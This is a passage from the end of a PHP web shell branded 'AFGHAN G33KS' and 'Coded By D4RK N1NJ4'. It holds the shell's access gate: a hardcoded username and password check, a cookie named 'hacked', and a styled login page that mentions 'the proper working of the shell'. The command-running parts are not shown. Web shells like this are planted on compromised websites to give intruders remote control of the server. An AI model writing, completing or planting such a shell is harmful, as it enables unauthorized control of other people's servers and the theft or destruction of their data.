6179}
6180?>
6181
6182
6183<hr color="#1B1B1B">
6184<div align="center">
6185<font size="6" face="Times New Roman, Times, serif" color="#00CC00">.::: AFGHAN G33KS :::.<br>
6186--==Coded By D4RK N1NJ4 | ==--</font><br><a href="#" target="_blank"><font color="#FF0000" size="6">iSQUAD</font></a></div>
6187<?php
6188}
6189}
6190
6191if(isset($_POST['uname']) && isset($_POST['passwd']))
6192{
6193 if( $_POST['uname'] == $user && $_POST['passwd'] == $pass )
6194 {
6195 setcookie("hacked", md5($pass));
6196 $selfenter = $_SERVER["PHP_SELF"];
6197 header("Location:$selfenter");
6198 }
6199}
6200
6201if((!isset($_COOKIE['hacked']) || $_COOKIE['hacked']!=md5($pass)) )
6202{
6203 shellstyle();
6204?>
6205 <center>
6206 <form method="POST">
6207 <div style="background-color:#171717; width:50%; border-radius:7px; margin-top:150px; -moz-border-radius:25px; height:410px; background-image:url(Windows_7_-_Alien_from_outer_space.jpg);">
6208 <table cellpadding="9" cellspacing="4">
6209 <tr>
6210 <td align="center" colspan="2"><blink><font size="7"><b>Dhanush</b></font></blink></td>
6211 </tr>
6212 <tr>
6213 <td align="right"><b>User Name : </b></td>
6214 <td><input type="text" name="uname" style="background-color:#333333; border-radius:7px; -moz-border-radius:10px; border-color:#000000; width:170px; color:#666666;" value="User Name" onFocus="if (this.value == 'User Name'){this.value=''; this.style.color='black';}" onBlur="if (this.value == '') {this.value='User Name'; this.style.color='#828282';}" AUTOCOMPLETE="OFF"></td>
6215 </tr>
6216 <tr>
6217 <td align="right"><b>Password : </b></td>
6218 <td><input type="password" name="passwd" style="background-color:#333333; border-radius:7px; -moz-border-radius:10px; border-color:#000000; width:170px; color:#666666;" value="User Name" onFocus="if (this.value == 'User Name'){this.value=''; this.style.color='black';}" onBlur="if (this.value == '') {this.value='User Name'; this.style.color='#828282';}" AUTOCOMPLETE="OFF"></td>
6219 </tr>
6220 <tr>
6221 <td align="center" colspan="2"><input type="submit" class="but" value=" Enter "></td>
6222 </tr>
6223 <tr>
6224 <td align="center" colspan="2"><font size="6" face="Times New Roman, Times, serif"><b>--==Coded By D4RK N1NJ4 | ==--</b></font></td>
6225 </tr>
6226 <tr>
6227 <td colspan="2"><font size="4" face="Times New Roman, Times, serif"><noscript>Enable Javascript in your browser for the proper working of the shell</noscript></font></td>
6228 </tr>
6229 </table>
6230 </div>
6231
6232 </form>
6233 </center>
6234<br>
6235</body>
6236</html>
6237<?php
6238}
6239?>